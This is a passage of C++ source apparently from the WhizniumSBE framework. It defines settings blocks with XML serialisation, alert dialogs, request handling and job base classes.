(has(JREF)) ss.push_back("jref"); if (has(SREF)) ss.push_back("sref"); StrMod::vectorToString(ss, srefs); return(srefs); }; void DpchEngWznmConfirm::merge( DpchEngWznm* dpcheng ) { DpchEngWznmConfirm* src = (DpchEngWznmConfirm*) dpcheng; if (src->has(ACCEPTED)) {accepted = src->accepted; add(ACCEPTED);}; if (src->has(JREF)) {jref = src->jref; add(JREF);}; if (src->has(SREF)) {sref = src->sref; add(SREF);}; }; void DpchEngWznmConfirm::writeJSON( const uint ixWznmVLocale , Json::Value& sup ) { Json::Value& me = sup["DpchEngWznmConfirm"] = Json::Value(Json::objectValue); if (has(ACCEPTED)) me["accepted"] = accepted; if (has(JREF)) me["scrJref"] = Scr::scramble(jref); if (has(SREF)) me["sref"] = sref; }; void DpchEngWznmConfirm::writeXML( const uint ixWznmVLocale , xmlTextWriter* wr ) { xmlTextWriterStartElement(wr, BAD_CAST "DpchEngWznmConfirm"); xmlTextWriterWriteAttribute(wr, BAD_CAST "xmlns", BAD_CAST "http://www.mpsitech.com/wznm"); if (has(ACCEPTED)) writeBool(wr, "accepted", accepted); if (has(JREF)) writeString(wr, "scrJref", Scr::scramble(jref)); if (has(SREF)) writeString(wr, "sref", sref); xmlTextWriterEndElement(wr); }; /****************************************************************************** class DpchEngWznmSuspend ******************************************************************************/ DpchEngWznmSuspend::DpchEngWznmSuspend( const ubigint jref ) : DpchEngWznm(VecWznmVDpch::DPCHENGWZNMSUSPEND, jref) { }; /****************************************************************************** class StgWznmAppearance ******************************************************************************/ StgWznmAppearance::StgWznmAppearance( const usmallint histlength , const bool suspsess , const uint sesstterm , const uint sesstwarn , const uint roottterm ) : Block() { this->histlength = histlength; this->suspsess = suspsess; this->sesstterm = sesstterm; this->sesstwarn = sesstwarn; this->roottterm = roottterm; mask = {HISTLENGTH, SUSPSESS, SESSTTERM, SESSTWARN, ROOTTTERM}; }; bool StgWznmAppearance::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); bool basefound; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, "StgWznmAppearance"); else basefound = checkXPath(docctx, basexpath); string itemtag = "StgitemWznmAppearance"; if (basefound) { if (extractUsmallintAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "histlength", histlength)) add(HISTLENGTH); if (extractBoolAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "suspsess", suspsess)) add(SUSPSESS); if (extractUintAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "sesstterm", sesstterm)) add(SESSTTERM); if (extractUintAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "sesstwarn", sesstwarn)) add(SESSTWARN); if (extractUintAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "roottterm", roottterm)) add(ROOTTTERM); }; return basefound; }; void StgWznmAppearance::writeXML( xmlTextWriter* wr , string difftag , bool shorttags ) { if (difftag.length() == 0) difftag = "StgWznmAppearance"; string itemtag; if (shorttags) itemtag = "Si"; else itemtag = "StgitemWznmAppearance"; xmlTextWriterStartElement(wr, BAD_CAST difftag.c_str()); writeUsmallintAttr(wr, itemtag, "sref", "histlength", histlength); writeBoolAttr(wr, itemtag, "sref", "suspsess", suspsess); writeUintAttr(wr, itemtag, "sref", "sesstterm", sesstterm); writeUintAttr(wr, itemtag, "sref", "sesstwarn", sesstwarn); writeUintAttr(wr, itemtag, "sref", "roottterm", roottterm); xmlTextWriterEndElement(wr); }; set<uint> StgWznmAppearance::comm( const StgWznmAppearance* comp ) { set<uint> items; if (histlength == comp->histlength) insert(items, HISTLENGTH); if (suspsess == comp->suspsess) insert(items, SUSPSESS); if (sesstterm == comp->sesstterm) insert(items, SESSTTERM); if (sesstwarn == comp->sesstwarn) insert(items, SESSTWARN); if (roottterm == comp->roottterm) insert(items, ROOTTTERM); return(items); }; set<uint> StgWznmAppearance::diff( const StgWznmAppearance* comp ) { set<uint> commitems; set<uint> diffitems; commitems = comm(comp); diffitems = {HISTLENGTH, SUSPSESS, SESSTTERM, SESSTWARN, ROOTTTERM}; for (auto it = commitems.begin(); it != commitems.end(); it++) diffitems.erase(*it); return(diffitems); }; /****************************************************************************** class StgWznmAppsrv ******************************************************************************/ StgWznmAppsrv::StgWznmAppsrv( const usmallint port , const bool https ) : Block() { this->port = port; this->https = https; mask = {PORT, HTTPS}; }; bool StgWznmAppsrv::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); bool basefound; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, "StgWznmAppsrv"); else basefound = checkXPath(docctx, basexpath); string itemtag = "StgitemWznmAppsrv"; if (basefound) { if (extractUsmallintAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "port", port)) add(PORT); if (extractBoolAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "https", https)) add(HTTPS); }; return basefound; }; void StgWznmAppsrv::writeXML( xmlTextWriter* wr , string difftag , bool shorttags ) { if (difftag.length() == 0) difftag = "StgWznmAppsrv"; string itemtag; if (shorttags) itemtag = "Si"; else itemtag = "StgitemWznmAppsrv"; xmlTextWriterStartElement(wr, BAD_CAST difftag.c_str()); writeUsmallintAttr(wr, itemtag, "sref", "port", port); writeBoolAttr(wr, itemtag, "sref", "https", https); xmlTextWriterEndElement(wr); }; set<uint> StgWznmAppsrv::comm( const StgWznmAppsrv* comp ) { set<uint> items; if (port == comp->port) insert(items, PORT); if (https == comp->https) insert(items, HTTPS); return(items); }; set<uint> StgWznmAppsrv::diff( const StgWznmAppsrv* comp ) { set<uint> commitems; set<uint> diffitems; commitems = comm(comp); diffitems = {PORT, HTTPS}; for (auto it = commitems.begin(); it != commitems.end(); it++) diffitems.erase(*it); return(diffitems); }; /****************************************************************************** class StgWznmd ******************************************************************************/ StgWznmd::StgWznmd( const usmallint jobprcn , const usmallint opengsrvport , const bool appsrv ) : Block() { this->jobprcn = jobprcn; this->opengsrvport = opengsrvport; this->appsrv = appsrv; mask = {JOBPRCN, OPENGSRVPORT, APPSRV}; }; bool StgWznmd::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); bool basefound; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, "StgWznmd"); else basefound = checkXPath(docctx, basexpath); string itemtag = "StgitemWznmd"; if (basefound) { if (extractUsmallintAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "jobprcn", jobprcn)) add(JOBPRCN); if (extractUsmallintAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "opengsrvport", opengsrvport)) add(OPENGSRVPORT); if (extractBoolAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "appsrv", appsrv)) add(APPSRV); }; return basefound; }; void StgWznmd::writeXML( xmlTextWriter* wr , string difftag , bool shorttags ) { if (difftag.length() == 0) difftag = "StgWznmd"; string itemtag; if (shorttags) itemtag = "Si"; else itemtag = "StgitemWznmd"; xmlTextWriterStartElement(wr, BAD_CAST difftag.c_str()); writeUsmallintAttr(wr, itemtag, "sref", "jobprcn", jobprcn); writeUsmallintAttr(wr, itemtag, "sref", "opengsrvport", opengsrvport); writeBoolAttr(wr, itemtag, "sref", "appsrv", appsrv); xmlTextWriterEndElement(wr); }; set<uint> StgWznmd::comm( const StgWznmd* comp ) { set<uint> items; if (jobprcn == comp->jobprcn) insert(items, JOBPRCN); if (opengsrvport == comp->opengsrvport) insert(items, OPENGSRVPORT); if (appsrv == comp->appsrv) insert(items, APPSRV); return(items); }; set<uint> StgWznmd::diff( const StgWznmd* comp ) { set<uint> commitems; set<uint> diffitems; commitems = comm(comp); diffitems = {JOBPRCN, OPENGSRVPORT, APPSRV}; for (auto it = commitems.begin(); it != commitems.end(); it++) diffitems.erase(*it); return(diffitems); }; /****************************************************************************** class StgWznmDatabase ******************************************************************************/ StgWznmDatabase::StgWznmDatabase( const uint ixDbsVDbstype , const string& dbspath , const string& dbsname , const string& username , const string& password , const string& ip , const usmallint port ) : Block() { this->ixDbsVDbstype = ixDbsVDbstype; this->dbspath = dbspath; this->dbsname = dbsname; this->username = username; this->password = password; this->ip = ip; this->port = port; mask = {IXDBSVDBSTYPE, DBSPATH, DBSNAME, USERNAME, PASSWORD, IP, PORT}; }; bool StgWznmDatabase::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); string srefIxDbsVDbstype; bool basefound; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, "StgWznmDatabase"); else basefound = checkXPath(docctx, basexpath); string itemtag = "StgitemWznmDatabase"; if (basefound) { if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "srefIxDbsVDbstype", srefIxDbsVDbstype)) { ixDbsVDbstype = VecDbsVDbstype::getIx(srefIxDbsVDbstype); add(IXDBSVDBSTYPE); }; if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "dbspath", dbspath)) add(DBSPATH); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "dbsname", dbsname)) add(DBSNAME); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "username", username)) add(USERNAME); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "password", password)) add(PASSWORD); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "ip", ip)) add(IP); if (extractUsmallintAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "port", port)) add(PORT); }; return basefound; }; void StgWznmDatabase::writeXML( xmlTextWriter* wr , string difftag , bool shorttags ) { if (difftag.length() == 0) difftag = "StgWznmDatabase"; string itemtag; if (shorttags) itemtag = "Si"; else itemtag = "StgitemWznmDatabase"; xmlTextWriterStartElement(wr, BAD_CAST difftag.c_str()); writeStringAttr(wr, itemtag, "sref", "srefIxDbsVDbstype", VecDbsVDbstype::getSref(ixDbsVDbstype)); writeStringAttr(wr, itemtag, "sref", "dbspath", dbspath); writeStringAttr(wr, itemtag, "sref", "dbsname", dbsname); writeStringAttr(wr, itemtag, "sref", "username", username); writeStringAttr(wr, itemtag, "sref", "password", password); writeStringAttr(wr, itemtag, "sref", "ip", ip); writeUsmallintAttr(wr, itemtag, "sref", "port", port); xmlTextWriterEndElement(wr); }; set<uint> StgWznmDatabase::comm( const StgWznmDatabase* comp ) { set<uint> items; if (ixDbsVDbstype == comp->ixDbsVDbstype) insert(items, IXDBSVDBSTYPE); if (dbspath == comp->dbspath) insert(items, DBSPATH); if (dbsname == comp->dbsname) insert(items, DBSNAME); if (username == comp->username) insert(items, USERNAME); if (password == comp->password) insert(items, PASSWORD); if (ip == comp->ip) insert(items, IP); if (port == comp->port) insert(items, PORT); return(items); }; set<uint> StgWznmDatabase::diff( const StgWznmDatabase* comp ) { set<uint> commitems; set<uint> diffitems; commitems = comm(comp); diffitems = {IXDBSVDBSTYPE, DBSPATH, DBSNAME, USERNAME, PASSWORD, IP, PORT}; for (auto it = commitems.begin(); it != commitems.end(); it++) diffitems.erase(*it); return(diffitems); }; /****************************************************************************** class StgWznmPath ******************************************************************************/ StgWznmPath::StgWznmPath( const string& acvpath , const string& keypath , const string& monpath , const string& tmppath , const string& webpath , const string& helpurl ) : Block() { this->acvpath = acvpath; this->keypath = keypath; this->monpath = monpath; this->tmppath = tmppath; this->webpath = webpath; this->helpurl = helpurl; mask = {ACVPATH, KEYPATH, MONPATH, TMPPATH, WEBPATH, HELPURL}; }; bool StgWznmPath::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); bool basefound; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, "StgWznmPath"); else basefound = checkXPath(docctx, basexpath); string itemtag = "StgitemWznmPath"; if (basefound) { if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "acvpath", acvpath)) add(ACVPATH); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "keypath", keypath)) add(KEYPATH); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "monpath", monpath)) add(MONPATH); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "tmppath", tmppath)) add(TMPPATH); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "webpath", webpath)) add(WEBPATH); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "helpurl", helpurl)) add(HELPURL); }; return basefound; }; void StgWznmPath::writeXML( xmlTextWriter* wr , string difftag , bool shorttags ) { if (difftag.length() == 0) difftag = "StgWznmPath"; string itemtag; if (shorttags) itemtag = "Si"; else itemtag = "StgitemWznmPath"; xmlTextWriterStartElement(wr, BAD_CAST difftag.c_str()); writeStringAttr(wr, itemtag, "sref", "acvpath", acvpath); writeStringAttr(wr, itemtag, "sref", "keypath", keypath); writeStringAttr(wr, itemtag, "sref", "monpath", monpath); writeStringAttr(wr, itemtag, "sref", "tmppath", tmppath); writeStringAttr(wr, itemtag, "sref", "webpath", webpath); writeStringAttr(wr, itemtag, "sref", "helpurl", helpurl); xmlTextWriterEndElement(wr); }; set<uint> StgWznmPath::comm( const StgWznmPath* comp ) { set<uint> items; if (acvpath == comp->acvpath) insert(items, ACVPATH); if (keypath == comp->keypath) insert(items, KEYPATH); if (monpath == comp->monpath) insert(items, MONPATH); if (tmppath == comp->tmppath) insert(items, TMPPATH); if (webpath == comp->webpath) insert(items, WEBPATH); if (helpurl == comp->helpurl) insert(items, HELPURL); return(items); }; set<uint> StgWznmPath::diff( const StgWznmPath* comp ) { set<uint> commitems; set<uint> diffitems; commitems = comm(comp); diffitems = {ACVPATH, KEYPATH, MONPATH, TMPPATH, WEBPATH, HELPURL}; for (auto it = commitems.begin(); it != commitems.end(); it++) diffitems.erase(*it); return(diffitems); }; /****************************************************************************** class StgWznmTenant ******************************************************************************/ StgWznmTenant::StgWznmTenant( const string& orgname , const string& orgweb ) : Block() { this->orgname = orgname; this->orgweb = orgweb; mask = {ORGNAME, ORGWEB}; }; bool StgWznmTenant::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); bool basefound; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, "StgWznmTenant"); else basefound = checkXPath(docctx, basexpath); string itemtag = "StgitemWznmTenant"; if (basefound) { if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "orgname", orgname)) add(ORGNAME); if (extractStringAttrUclc(docctx, basexpath, itemtag, "Si", "sref", "orgweb", orgweb)) add(ORGWEB); }; return basefound; }; void StgWznmTenant::writeXML( xmlTextWriter* wr , string difftag , bool shorttags ) { if (difftag.length() == 0) difftag = "StgWznmTenant"; string itemtag; if (shorttags) itemtag = "Si"; else itemtag = "StgitemWznmTenant"; xmlTextWriterStartElement(wr, BAD_CAST difftag.c_str()); writeStringAttr(wr, itemtag, "sref", "orgname", orgname); writeStringAttr(wr, itemtag, "sref", "orgweb", orgweb); xmlTextWriterEndElement(wr); }; set<uint> StgWznmTenant::comm( const StgWznmTenant* comp ) { set<uint> items; if (orgname == comp->orgname) insert(items, ORGNAME); if (orgweb == comp->orgweb) insert(items, ORGWEB); return(items); }; set<uint> StgWznmTenant::diff( const StgWznmTenant* comp ) { set<uint> commitems; set<uint> diffitems; commitems = comm(comp); diffitems = {ORGNAME, ORGWEB}; for (auto it = commitems.begin(); it != commitems.end(); it++) diffitems.erase(*it); return(diffitems); }; /****************************************************************************** namespace AlrWznm ******************************************************************************/ DpchEngWznmAlert* AlrWznm::prepareAlrAbt( const ubigint jref , const uint ixWznmVLocale , Feed& feedFMcbAlert ) { ContInfWznmAlert continf; // IP prepareAlrAbt --- BEGIN continf.TxtCpt = VecWznmVTag::getTitle(VecWznmVTag::ABOUT, ixWznmVLocale); continf.TxtCpt = StrMod::cap(continf.TxtCpt); if (ixWznmVLocale == VecWznmVLocale::ENUS) { continf.TxtMsg1 = "WhizniumSBE version v1.1.5 released on 12-3-2021"; continf.TxtMsg2 = "\\u00a9 MPSI Technologies GmbH"; continf.TxtMsg4 = "contributors: Alexander Wirthmueller"; continf.TxtMsg6 = "libraries: apiwzlm 1.0.0, curl 7.65, git2 0.24.0, jsoncpp 1.8.4 and openssl 1.1.1"; continf.TxtMsg8 = "WhizniumSBE implements all functionality of the Whiznium Service Builder's Edition framework for automated code generation and iteration."; }; feedFMcbAlert.clear(); VecWznmVTag::appendToFeed(VecWznmVTag::CLOSE, ixWznmVLocale, feedFMcbAlert); feedFMcbAlert.cap(); // IP prepareAlrAbt --- END return(new DpchEngWznmAlert(jref, &continf, &feedFMcbAlert, {DpchEngWznmAlert::ALL})); }; DpchEngWznmAlert* AlrWznm::prepareAlrIer( const ubigint jref , const uint ixWznmVLocale , const string& iexsqk , Feed& feedFMcbAlert ) { ContInfWznmAlert continf; // IP prepareAlrIer --- BEGIN continf.TxtCpt = VecWznmVTag::getTitle(VecWznmVTag::IMPERR, ixWznmVLocale); continf.TxtCpt = StrMod::cap(continf.TxtCpt); if (ixWznmVLocale == VecWznmVLocale::ENUS) { continf.TxtMsg1 = "" + iexsqk + ""; }; feedFMcbAlert.clear(); VecWznmVTag::appendToFeed(VecWznmVTag::CANCEL, ixWznmVLocale, feedFMcbAlert); VecWznmVTag::appendToFeed(VecWznmVTag::REVERSE, ixWznmVLocale, feedFMcbAlert); feedFMcbAlert.cap(); // IP prepareAlrIer --- END return(new DpchEngWznmAlert(jref, &continf, &feedFMcbAlert, {DpchEngWznmAlert::ALL})); }; DpchEngWznmAlert* AlrWznm::prepareAlrPer( const ubigint jref , const uint ixWznmVLocale , const string& iexsqk , Feed& feedFMcbAlert ) { ContInfWznmAlert continf; // IP prepareAlrPer --- BEGIN continf.TxtCpt = VecWznmVTag::getTitle(VecWznmVTag::PRSERR, ixWznmVLocale); continf.TxtCpt = StrMod::cap(continf.TxtCpt); if (ixWznmVLocale == VecWznmVLocale::ENUS) { continf.TxtMsg1 = "" + iexsqk + ""; }; feedFMcbAlert.clear(); VecWznmVTag::appendToFeed(VecWznmVTag::OK, ixWznmVLocale, feedFMcbAlert); feedFMcbAlert.cap(); // IP prepareAlrPer --- END return(new DpchEngWznmAlert(jref, &continf, &feedFMcbAlert, {DpchEngWznmAlert::ALL})); }; DpchEngWznmAlert* AlrWznm::prepareAlrSav( const ubigint jref , const uint ixWznmVLocale , Feed& feedFMcbAlert ) { ContInfWznmAlert continf; // IP prepareAlrSav --- BEGIN continf.TxtCpt = VecWznmVTag::getTitle(VecWznmVTag::QUEST, ixWznmVLocale); continf.TxtCpt = StrMod::cap(continf.TxtCpt); if (ixWznmVLocale == VecWznmVLocale::ENUS) { continf.TxtMsg1 = "Save changes?"; }; feedFMcbAlert.clear(); VecWznmVTag::appendToFeed(VecWznmVTag::CANCEL, ixWznmVLocale, feedFMcbAlert); VecWznmVTag::appendToFeed(VecWznmVTag::FLS, ixWznmVLocale, feedFMcbAlert); VecWznmVTag::appendToFeed(VecWznmVTag::TRU, ixWznmVLocale, feedFMcbAlert); feedFMcbAlert.cap(); // IP prepareAlrSav --- END return(new DpchEngWznmAlert(jref, &continf, &feedFMcbAlert, {DpchEngWznmAlert::ALL})); }; DpchEngWznmAlert* AlrWznm::prepareAlrTrm( const ubigint jref , const uint ixWznmVLocale , const uint sesstterm , const uint sesstwarn , Feed& feedFMcbAlert ) { ContInfWznmAlert continf; // IP prepareAlrTrm --- BEGIN continf.TxtCpt = VecWznmVTag::getTitle(VecWznmVTag::ANNOUNCE, ixWznmVLocale); continf.TxtCpt = StrMod::cap(continf.TxtCpt); if (ixWznmVLocale == VecWznmVLocale::ENUS) { continf.TxtMsg1 = "Your session has been inactive for " + prepareAlrTrm_dtToString(ixWznmVLocale, sesstterm) + ". It will be terminated in " + prepareAlrTrm_dtToString(ixWznmVLocale, sesstwarn) + "."; }; feedFMcbAlert.clear(); VecWznmVTag::appendToFeed(VecWznmVTag::OK, ixWznmVLocale, feedFMcbAlert); feedFMcbAlert.cap(); // IP prepareAlrTrm --- END return(new DpchEngWznmAlert(jref, &continf, &feedFMcbAlert, {DpchEngWznmAlert::ALL})); }; string AlrWznm::prepareAlrTrm_dtToString( const uint ixWznmVLocale , const time_t dt ) { string s; if ((dt%3600) == 0) { s = to_string(dt/3600); if (dt == 3600) s += " " + VecWznmVTag::getTitle(VecWznmVTag::HOUR, ixWznmVLocale); else s += " " + VecWznmVTag::getTitle(VecWznmVTag::HOURS, ixWznmVLocale); } else if ((dt%60) == 0) { s = to_string(dt/60); if (dt == 60) s += " " + VecWznmVTag::getTitle(VecWznmVTag::MINUTE, ixWznmVLocale); else s += " " + VecWznmVTag::getTitle(VecWznmVTag::MINUTES, ixWznmVLocale); } else { s = to_string(dt); if (dt == 1) s += " " + VecWznmVTag::getTitle(VecWznmVTag::SECOND, ixWznmVLocale); else s += " " + VecWznmVTag::getTitle(VecWznmVTag::SECONDS, ixWznmVLocale); }; return s; }; /****************************************************************************** class ReqWznm ******************************************************************************/ ReqWznm::ReqWznm( const uint ixVBasetype , const uint ixVState , const string& ip ) : cReady("cReady", "ReqWznm", "ReqWznm") { this->ixVBasetype = ixVBasetype; this->ixVState = ixVState; this->ip = ip; pp = NULL; retain = !((ixVBasetype == VecVBasetype::CMD) || (ixVBasetype == VecVBasetype::DPCHAPP) || (ixVBasetype == VecVBasetype::NOTIFY) || (ixVBasetype == VecVBasetype::UPLOAD) || (ixVBasetype == VecVBasetype::DOWNLOAD) || (ixVBasetype == VecVBasetype::METHOD)); file = NULL; filelen = 0; request = NULL; requestlen = 0; jsonNotXml = false; jref = 0; wref = 0; call = NULL; weak = false; dpchapp = NULL; dpcheng = NULL; ixWznmVLocale = VecWznmVLocale::ENUS; dpchinv = NULL; dpchret = NULL; reply = NULL; replylen = 0; method = NULL; }; ReqWznm::~ReqWznm() { if (pp) MHD_destroy_post_processor(pp); if (file) { if (file->is_open()) file->close(); delete file; }; if (call) delete call; if (request) delete[] request; if (dpchapp) delete dpchapp; if (dpcheng) delete dpcheng; if (dpchinv) delete dpchinv; if (dpchret) delete dpchret; if (reply) delete[] reply; if (method) delete method; }; void ReqWznm::setStateReply() { cReady.lockMutex("ReqWznm", "setStateReply", "jref=" + to_string(jref)); ixVState = VecVState::REPLY; cReady.unlockMutex("ReqWznm", "setStateReply", "jref=" + to_string(jref)); cReady.signal("ReqWznm", "setStateReply", "jref=" + to_string(jref)); }; /****************************************************************************** class ReqopengconWznm ******************************************************************************/ ReqopengconWznm::ReqopengconWznm( const uint ixVState , const string& ip ) { this->ixVState = ixVState; this->ip = ip; pp = NULL; request = NULL; requestlen = 0; dpchopd = NULL; reply = NULL; replylen = 0; }; ReqopengconWznm::~ReqopengconWznm() { if (pp) MHD_destroy_post_processor(pp); if (request) delete[] request; if (dpchopd) delete dpchopd; if (reply) delete[] reply; }; /****************************************************************************** class DcolWznm ******************************************************************************/ DcolWznm::DcolWznm( const ubigint jref , const uint ixWznmVLocale ) : mAccess("dcol.mAccess", "DcolWznm", "DcolWznm", "jref=" + to_string(jref)) { this->jref = jref; this->ixWznmVLocale = ixWznmVLocale; hot = false; req = NULL; }; DcolWznm::~DcolWznm() { for (auto it = dpchs.begin(); it != dpchs.end(); it++) delete(*it); if (req) req->cReady.signal("DcolWznm", "~DcolWznm", "jref=" + to_string(jref)); mAccess.lock("DcolWznm", "~DcolWznm", "jref=" + to_string(jref)); mAccess.unlock("DcolWznm", "~DcolWznm", "jref=" + to_string(jref)); }; void DcolWznm::lockAccess( const string& srefObject , const string& srefMember ) { mAccess.lock(srefObject, srefMember, "jref=" + to_string(jref)); }; void DcolWznm::unlockAccess( const string& srefObject , const string& srefMember ) { mAccess.unlock(srefObject, srefMember, "jref=" + to_string(jref)); }; /****************************************************************************** class JobWznm ******************************************************************************/ JobWznm::JobWznm( XchgWznm* xchg , const uint ixWznmVJob , const ubigint jrefSup , const uint ixWznmVLocale ) : mAccess("mAccess", VecWznmVJob::getSref(ixWznmVJob), VecWznmVJob::getSref(ixWznmVJob), "jrefSup=" + to_string(jrefSup)) , mOps("mOps", VecWznmVJob::getSref(ixWznmVJob), VecWznmVJob::getSref(ixWznmVJob), "jrefSup=" + to_string(jrefSup)) { this->xchg = xchg; jref = 0; this->ixWznmVJob = ixWznmVJob; this->ixWznmVLocale = ixWznmVLocale; muteRefresh = false; ixVSge = 1; nextIxVSgeSuccess = 1; nextIxVSgeFailure = 1; opN = 0; opNSuccess = 0; opNFailure = 0; wrefLast = 0; wrefMin = 0; reqCmd = NULL; }; JobWznm::~JobWznm() { if (reqCmd) delete reqCmd; mAccess.lock(VecWznmVJob::getSref(ixWznmVJob), "~" + VecWznmVJob::getSref(ixWznmVJob), "jref=" + to_string(jref)); mAccess.unlock(VecWznmVJob::getSref(ixWznmVJob), "~" + VecWznmVJob::getSref(ixWznmVJob), "jref=" + to_string(jref)); }; DpchEngWznm* JobWznm::getNewDpchEng( set<uint> items ) { return new DpchEngWznmConfirm(true, jref, ""); }; void JobWznm::refresh( DbsWznm* dbswznm , set<uint>& moditems , const bool unmute ) { }; void JobWznm::refreshWithDpchEng( DbsWznm* dbswznm , DpchEngWznm** dpcheng , const bool unmute ) { set<uint> moditems; DpchEngWznm* _dpcheng = NULL; refresh(dbswznm, moditems, unmute); if (muteRefresh) return; if (dpcheng) { _dpcheng = getNewDpchEng(moditems); if (*dpcheng) { if (_dpcheng->ixWznmVDpch == VecWznmVDpch::DPCHENGWZNMCONFIRM) delete _dpcheng; else if (_dpcheng->ixWznmVDpch == (*dpcheng)->ixWznmVDpch) { (*dpcheng)->merge(_dpcheng); delete _dpcheng; } else xchg->submitDpch(_dpcheng); } else *dpcheng = _dpcheng; } else if (!moditems.empty()) xchg->submitDpch(getNewDpchEng(moditems)); }; string JobWznm::getSquawk( DbsWznm* dbswznm ) { return ""; }; void JobWznm::handleRequest( DbsWznm* dbswznm , ReqWznm* req ) { }; void JobWznm::handleCall( DbsWznm* dbswznm , Call* call ) { }; void JobWznm::lockAccess( const string& srefObject , const string& srefMember ) { mAccess.lock(srefObject, srefMember, "jref=" + to_string(jref)); }; bool JobWznm::trylockAccess( const string& srefObject , const string& srefMember ) { return mAccess.trylock(srefObject, srefMember, "jref=" + to_string(jref)); }; void JobWznm::unlockAccess( const string& srefObject , const string& srefMember ) { mAccess.unlock(srefObject, srefMember, "jref=" + to_string(jref)); }; void JobWznm::lockAccess( const string& srefMember ) { mAccess.lock(VecWznmVJob::getSref(ixWznmVJob), srefMember, "jref=" + to_string(jref)); }; bool JobWznm::trylockAccess( const string& srefMember ) { return mAccess.trylock(VecWznmVJob::getSref(ixWznmVJob), srefMember, "jref=" + to_string(jref)); }; void JobWznm::unlockAccess( const string& srefMember ) { mAccess.unlock(VecWznmVJob::getSref(ixWznmVJob), srefMember, "jref=" + to_string(jref)); }; void JobWznm::setStage( DbsWznm* dbswznm , const uint _ixVSge ) { xchg->setJobStage(dbswznm, this, _ixVSge); }; void JobWznm::clearInvs() { for (unsigned int i = 0; i < invs.size(); i++) delete invs[i]; invs.clear(); }; ubigint JobWznm::addInv( DpchInvWznm* inv ) { inv->oref = xchg->orefseq.getNewRef(); inv->jref = jref; invs.push_back(inv); opN++; return(inv->oref); }; void JobWznm::addInvs( vector<DpchInvWznm*>& _invs ) { for (unsigned int i = 0; i < _invs.size(); i++) addInv(_invs[i]); }; void JobWznm::submitInvs( DbsWznm* dbswznm , const uint nextIxVSgeEmpty , uint& _ixVSge ) { if (opN == 0) { _ixVSge = nextIxVSgeEmpty; } else { xchg->addInvs(dbswznm, this, invs); invs.clear(); }; }; void JobWznm::clearOps() { mOps.lock(VecWznmVJob::getSref(ixWznmVJob), "clearOps", "jref=" + to_string(jref)); for (auto it = ops.begin(); it != ops.end(); it++) delete(*it); ops.clear(); mOps.unlock(VecWznmVJob::getSref(ixWznmVJob), "clearOps", "jref=" + to_string(jref)); }; void JobWznm::addOp( DbsWznm* dbswznm , DpchInvWznm* inv ) { string squawk; mOps.lock(VecWznmVJob::getSref(ixWznmVJob), "addOp", "jref=" + to_string(jref)); // generate squawk if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMCOMPLBSCUI) { squawk = SqkWznmCompl::getSquawkBscui(dbswznm, (DpchInvWznmComplBscui*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMCOMPLDBS) { squawk = SqkWznmCompl::getSquawkDbs(dbswznm, (DpchInvWznmComplDbs*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMCOMPLDEPLOY) { squawk = SqkWznmCompl::getSquawkDeploy(dbswznm, (DpchInvWznmComplDeploy*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMCOMPLIEX) { squawk = SqkWznmCompl::getSquawkIex(dbswznm, (DpchInvWznmComplIex*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMCOMPLJTR) { squawk = SqkWznmCompl::getSquawkJtr(dbswznm, (DpchInvWznmComplJtr*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMCTPGENJTR) { squawk = SqkWznmCtpGenjtr::getSquawk(dbswznm, (DpchInvWznmCtpGenjtr*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMCTPGENUI) { squawk = SqkWznmCtpGenui::getSquawk(dbswznm, (DpchInvWznmCtpGenui*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMCTPWRSRV) { squawk = SqkWznmCtpWrsrv::getSquawk(dbswznm, (DpchInvWznmCtpWrsrv*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMCTPWRSTKIT) { squawk = SqkWznmCtpWrstkit::getSquawk(dbswznm, (DpchInvWznmCtpWrstkit*) inv); }; if (inv->ixWznmVDpch == 